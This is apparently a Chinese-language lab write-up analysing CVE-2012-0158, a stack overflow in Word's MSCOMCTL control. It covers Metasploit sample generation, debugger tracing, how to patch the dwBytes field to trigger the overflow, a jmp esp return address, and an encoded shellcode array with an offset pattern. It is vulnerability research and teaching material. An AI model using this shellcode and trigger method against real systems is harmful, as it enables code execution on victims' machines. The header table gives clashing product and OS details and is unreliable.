Office 漏洞
基本信息
软件名称 | Office |
软件版本 | 2.0 |
漏洞模块 | Office.exe |
模块版本 | 2.0.0.0 |
编译日期 | 2005-01-01 |
操作系统 | Windows XP/2007 |
漏洞编号 | CVE-2012-0158 |
危害等级 | 高危 |
漏洞类型 | 缓冲区溢出 |
威胁类型 | 远程 |
1.软件简介
Microsoft Word 2007
是office全家桶的一款产品,是电脑发展以来使用最广泛的 处理文本信息,编辑文档的一款软件。
2.样本获取
首先生成样本
Step1.msfconsole
打开控制面板
Step2->接着搜索漏洞编号
,查找当前病毒样本
,查看漏洞信息
然后查看漏洞信息
显示当前样本
选项信息
接着我们使用set
修改样本属性
set cmd calc
set Title Test
然后导出样本
exploit
接着copy 样本
到根目录并且把样本复制到文件里面
弹出计算机
弹出了计算器,说明很有可能调用了API。
3.样本分析
首先猜测样本使用的API
CreateProcess
WinExec
导出模板是kernel32.dll
比较常用
system
导出模板是ucrtbase.dll
word不一定常用
先使用attach附加进程Office Word
在WinExec
处下断点,看看有没有被调用
使用bl
查看断点信息
点击继续后,使用k
查看内存断点,启用内核调试会话
函数返回的地方已经变成了esp附近
的值
找到程序的esp
函数返回的地方已经变成esp地方
的值
栈回溯看看调用处是否像是ShellCode
使用Windbg尝试
会出现1-200
的字符出错的问题
这时候我们使用x32dbg
分析,x32dbg
首先运行打断点,接着拖拽样本
分析数据,分析数据之后查看堆栈信息 首先添加断点
断后在堆栈面板003037DC
的位置 按下回车,跳转到ShellCode
查看ShellCode
寻找特殊字符,由于我们断点的位置是Winexec
所以需要找到exec
或者winexec
这种字符串标识,进而进行下一步分析
使用Windbg
分析的时候是往下的,都是00000000
,所以往上滑动查看数据
十六进制未找到,试试Ascii搜索
,附近的字符串和ShellCode
都一样
4.定位漏洞原因
找到出问题的模板
由于POC
已经将栈溢出
,不好定位原因
看来栈里面还是能找到一些调用的信息的
无ShellCode
的样本已经崩溃,异常偏移不一定就是出错的位置,调试看看
查看堆栈信息是否能找到有用信息,
把距离JMP ESP
往上最近出现不同内容的位置开始删掉,观察样本运行情况(最小样本法)
调用堆栈得不到有效信息,看看栈里的数据有没有突破点,栈里面还是有一些调用信息的
下一步,只要将保存好的文档通过十六进制编辑器
打开,定位到CObj对象
的数据,修改偏移量为8的dwBytes值
为大于8的数值就能触发漏洞。事实上只修改那一个值还无法看到漏洞触发的效果,原因是拷贝函数ReadBytesFromStreamPadded
还会接着校验dwBytes
的值,幸运的是该校验只是从要拷贝的数据头部读取另一个dwBytes
的值,检验两个值是否相等,所以我们只需要把对象数据里的那个数值也修改成相应的大小就可以通过校验
从而触发漏洞。
找到909090
位置,注意使用Ascii码
使用Ascii码
找到位置之后,修改一个值查看漏洞
然后另存为到桌面
拖到程序word里面
触发溢出
可以看到程序栈溢出了
,从而触发漏洞
最小样本法
,通过删除jmp esp
前几个字节,删除前几个字节
测试程序发现程序直接停止工作,说明这个方法是没问题的
发现程序崩溃了,接着使用OD和IDA定位
IDA和x32dbg定位漏洞
step1.使用x32dbg分析jmp esp位置
- 打开
word
和x32dbg
- 附加
word
然后打开POC
ctrl+g
搜索WinExec
然后直接运行到WinExec
位置!
- 查看栈内存,分析地址数据
查看反汇编数据大概能找到shellCode
位置
- 往上滑动找到
jmp esp
jmp esp 的地址如下:27583C30
step2.使用IDA查看栈溢出具体logic
- 转到
jmp esp
地址,查看栈的内存,分析规律
重新启动程序,发现断点会断在JMP Esp
的位置,接下来查看栈的内存数据
堆栈的内存数据都包含一个固定的函数信息 mscomctl
这个函数,我们挨个分析
然后看到函数上方有两个相同的Call
,这两个Call
我们一会在分析,但是位置是对的,接下来获取模板
- 分析规律后查看日志,获取到模板
查看状态栏的日志
接下来我们找到模板数据,按照路径找到模板
找到模板之后使用IDA分析
一下
- 使用
IDA分析
获取到的模板
打开IDA之后按G
查看跳转的地址,这两个Call的随机一个地址
即可
我这里用的是第二个Call的地址275c8A05
跳转后 space + F5
查看c代码
查看外层函数,分析dwbytes
怎么转化过来的
sub_275C876D()
这个函数干了什么?我们用OD验证
一下,找到bwBytes
的位置
发现堆栈数据 [ebp-0xc]位8282
使用010Editor
观察数据
由此说明,sub_275C876D()内部复制自己数据是可控的!
可以自定义修改;
如上图,正因为从文件中读取字节为8282,8282>8
,因此sub_275C876D()
复制0x8282个字节导致栈溢出
,从而可以执行任意代码。
5.利用过程
5.1 漏洞验证
使用漏洞程序验证,程序运行到断点处WinExec
如下图:
此时栈顶为001D48FE
,如下图
返回之后,执行ShellCode
弹出计算器,如下图
5.2 漏洞利用
由于在ret返回地址
之后崩溃,未ret
之前栈顶为溢出点
,所以将程序中jmp esp
的地址写入溢出点
获取到JMP ESP
地址,将其填到POC溢出点
位置进行测试
使用winDbg
获取溢出点位置
获取到jmp esp
位置后,打开Poc
修改溢出点
信息
6.POC
ShellCode
char bShellCode[] = "\x33\xC0" \
"\xE8\xFF\xFF\xFF\xFF" \
"\xC3" \
"\x58" \
"\x8D\x70\x1B" \
"\x33\xC9" \
"\x66\xB9\x45\x01" \
"\x8A\x04\x0E" \
"\x34\x07" \
"\x88\x04\x0E" \
"\xE2\xF6" \
"\x80\x34\x0E\x07" \
"\xFF\xE6" \
"\x67\x84\xEB\x27\xEC\x4A\x40\x62\x73\x57\x75\x68\x64\x46\x63\x63" \
"\x75\x62\x74\x74\x4B\x68\x66\x63\x4B\x6E\x65\x75\x66\x75\x7E\x42" \
"\x7F\x46\x07\x52\x74\x62\x75\x34\x35\x29\x63\x6B\x6B\x07\x4A\x62" \
"\x74\x74\x66\x60\x62\x45\x68\x7F\x46\x07\x42\x7F\x6E\x73\x57\x75" \
"\x68\x64\x62\x74\x74\x07\x4F\x62\x6B\x6B\x68\x27\x50\x68\x75\x6B" \
"\x63\x26\x07\x52\x8C\xEB\x84\xEB\x0B\xEF\x07\x07\x07\x07\x5C\x8E" \
"\x5A\xFB\x63\x8C\x32\x37\x07\x07\x07\x8C\x71\x0B\x8C\x71\x1B\x8C" \
"\x31\x8C\x51\x0F\x8E\x52\xFF\x54\x55\xEF\x12\x07\x07\x07\x8C\xF7" \
"\x8A\x4C\xB1\x56\x55\xF8\xD7\x8C\x52\xFF\x54\x51\x57\x55\xEF\x69" \
"\x07\x07\x07\x52\x8C\xEB\x84\xEB\x0B\x55\x8C\x52\x0F\x8C\x75\x3B" \
"\x8A\x33\x35\x8C\x71\x7F\x8A\x33\x35\x8C\x79\x1B\x8A\x3B\x3D\x8E" \
"\x7A\xFB\x8C\x79\x27\x8A\x3B\x3D\x8E\x7A\xFF\x8C\x79\x23\x8A\x3B" \
"\x3D\x8E\x7A\xF3\x34\xC7\xEC\x06\x47\x8C\x72\xFF\x8C\x33\x81\x8C" \
"\x52\x0F\x8A\x33\x35\x8C\x5A\x0B\x8A\x7C\xAF\xBE\x09\x07\x07\x07" \
"\xFB\xF4\xA1\x72\xE4\x8C\x72\xF3\x34\xF8\x61\x8C\x3B\x41\x8C\x52" \
"\xFB\x8C\x33\xBD\x8C\x52\x0F\x8A\x03\x35\x5D\x8C\xE2\x5A\xC5\x0F" \
"\x07\x52\x8C\xEB\x84\xEB\x0F\x8C\x5A\x13\x8A\x4C\xC2\x6D\x07\x6D" \
"\x07\x56\xF8\x52\x0B\x8A\x4C\xD7\x56\x57\xF8\x52\x17\x8E\x42\xFB" \
"\x8A\x4C\xDB\x56\xF8\x72\x0F\xF8\x52\x17\x8E\x42\xFF\x8A\x4C\xEF" \
"\x6D\x07\x56\x56\x6D\x07\xF8\x52\xFB\x6D\x07\xF8\x52\xFF\x8C\xE2" \
"\x5A\xC5\x17\x07\x07";
char bExp[] = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9";
溢出点
滑板指令
7.缓解措施
下载补丁,binDiff
对比补丁前后的修复情况
8.结语
本次分析一方面了解了对于栈溢出漏洞的分析,都是通过栈回溯的方法找到漏洞函数。可在原栈顶内写断点。程序断下时,经常是在mov 与 rep movs等用于实现字符串复制的相关指令,再通过栈回溯或者函数交互引用定位漏洞函数地址
9.参考资料
[2] 林桠泉 《漏洞战争》